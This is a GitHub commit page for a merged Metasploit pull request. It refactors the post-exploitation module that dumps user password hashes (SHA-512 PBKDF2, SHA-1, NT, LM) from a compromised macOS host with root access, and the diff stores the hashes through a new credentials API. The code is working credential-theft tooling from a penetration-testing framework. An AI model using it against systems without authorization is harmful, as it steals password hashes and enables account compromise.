Skip to content

Commit 52515c1

Browse files
committed
Merge pull request #90 from rapid7/feature/MSP-9743/hashdump
Merge #90, @wvu's refactor of post/osx/gather/hashdump to use the new creds model.
2 parents b680674 + 92963d4 commit 52515c1

File tree

1 file changed

+35
-50
lines changed

1 file changed

+35
-50
lines changed

modules/post/osx/gather/hashdump.rb

Lines changed: 35 additions & 50 deletions
Original file line numberDiff line numberDiff line change
@@ -42,9 +42,6 @@ def initialize(info={})
4242
def run
4343
fail_with("Insufficient Privileges: must be running as root to dump the hashes") unless root?
4444

45-
# build a single hash_file containing all users' hashes
46-
hash_file = ''
47-
4845
# iterate over all users
4946
users.each do |user|
5047
next if datastore['MATCHUSER'].present? and datastore['MATCHUSER'] !~ user
@@ -70,27 +67,25 @@ def run
7067
iterations = dict.elements[4].text.gsub(/\s+/, '')
7168
salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '')
7269

73-
# PBKDF2 stored in <user, iterations, salt, entropy> format
74-
decoded_hash = "#{user}:$ml$#{iterations}$#{salt}$#{entropy}"
75-
print_good "SHA512:#{decoded_hash}"
76-
hash_file << decoded_hash
70+
# PBKDF2 stored in <iterations, salt, entropy> format
71+
decoded_hash = "$ml$#{iterations}$#{salt}$#{entropy}"
72+
report_hash("SHA-512 PBKDF2", decoded_hash, user)
7773
elsif lion? # 10.7
7874
# pull the shadow from dscl
7975
shadow_bytes = grab_shadow_blob(user)
8076
next if shadow_bytes.blank?
8177

8278
# on 10.7 the ShadowHashData is stored in plaintext
83-
hash_decoded = shadow_bytes.upcase
79+
hash_decoded = shadow_bytes.downcase
8480

8581
# Check if NT HASH is present
86-
if hash_decoded =~ /4F1010/
87-
report_nt_hash(hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0], user)
82+
if hash_decoded =~ /4f1010/
83+
report_hash("NT", hash_decoded.scan(/^\w*4f1010(\w*)4f1044/)[0][0], user)
8884
end
8985

9086
# slice out the sha512 hash + salt
91-
sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0]
92-
print_status("SHA512:#{user}:#{sha512}")
93-
hash_file << "#{user}:#{sha512}\n"
87+
sha512 = hash_decoded.scan(/^\w*4f1044(\w*)(080b190|080d101e31)/)[0][0]
88+
report_hash("SHA-512", sha512, user)
9489
else # 10.6 and below
9590
# On 10.6 and below, SHA-1 is used for encryption
9691
guid = if gte_leopard?
@@ -106,38 +101,16 @@ def run
106101

107102
# Check that we have the hashes and save them
108103
if sha1_hash !~ /0000000000000000000000000/
109-
print_status("SHA1:#{user}:#{sha1_hash}")
110-
hash_file << "#{user}:#{sha1_hash}"
104+
report_hash("SHA-1", sha1_hash, user)
111105
end
112106
if nt_hash !~ /000000000000000/
113-
report_nt_hash(nt_hash, user)
107+
report_hash("NT", nt_hash, user)
114108
end
115109
if lm_hash !~ /0000000000000/
116-
print_status("LM:#{user}:#{lm_hash}")
117-
print_status("Credential saved in database.")
118-
report_auth_info(
119-
:host => host,
120-
:port => 445,
121-
:sname => 'smb',
122-
:user => user,
123-
:pass => "#{lm_hash}:",
124-
:active => true
125-
)
110+
report_hash("LM", lm_hash, user)
126111
end
127112
end
128113
end
129-
# Save pwd file
130-
upassf = if gt_lion?
131-
store_loot("osx.hashes.sha512pbkdf2", "text/plain", session, hash_file,
132-
"unshadowed_passwd.pwd", "OSX Unshadowed SHA-512PBKDF2 Password File")
133-
elsif lion?
134-
store_loot("osx.hashes.sha512", "text/plain", session, hash_file,
135-
"unshadowed_passwd.pwd", "OSX Unshadowed SHA-512 Password File")
136-
else
137-
store_loot("osx.hashes.sha1", "text/plain", session, hash_file,
138-
"unshadowed_passwd.pwd", "OSX Unshadowed SHA-1 Password File")
139-
end
140-
print_good("Unshadowed Password File: #{upassf}")
141114
end
142115

143116
private
@@ -189,19 +162,31 @@ def read_ds_xml_plist(plist_content)
189162
return fields
190163
end
191164

192-
# reports the NT hash info to metasploit backend
193-
def report_nt_hash(nt_hash, user)
194-
return unless nt_hash.present?
195-
print_status("NT:#{user}:#{nt_hash}")
196-
print_status("Credential saved in database.")
197-
report_auth_info(
198-
:host => host,
199-
:port => 445,
200-
:sname => 'smb',
201-
:user => user,
202-
:pass => "AAD3B435B51404EE:#{nt_hash}",
203-
:active => true
165+
# reports the hash info to metasploit backend
166+
def report_hash(type, hash, user)
167+
return unless hash.present?
168+
print_status("#{type}:#{user}:#{hash}")
169+
case type
170+
when "NT"
171+
private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}"
172+
private_type = :ntlm_hash
173+
when "LM"
174+
private_data = "#{hash}:#{Metasploit::Credential::NTLMHash::BLANK_NT_HASH}"
175+
private_type = :ntlm_hash
176+
when "SHA-512 PBKDF2", "SHA-512", "SHA-1"
177+
private_data = hash
178+
private_type = :nonreplayable_hash
179+
end
180+
create_credential(
181+
workspace_id: myworkspace_id,
182+
origin_type: :session,
183+
session_id: session_db_id,
184+
post_reference_name: self.refname,
185+
username: user,
186+
private_data: private_data,
187+
private_type: private_type
204188
)
189+
print_status("Credential saved in database.")
205190
end
206191

207192
# Checks if running as root on the target

0 commit comments

Comments
 (0)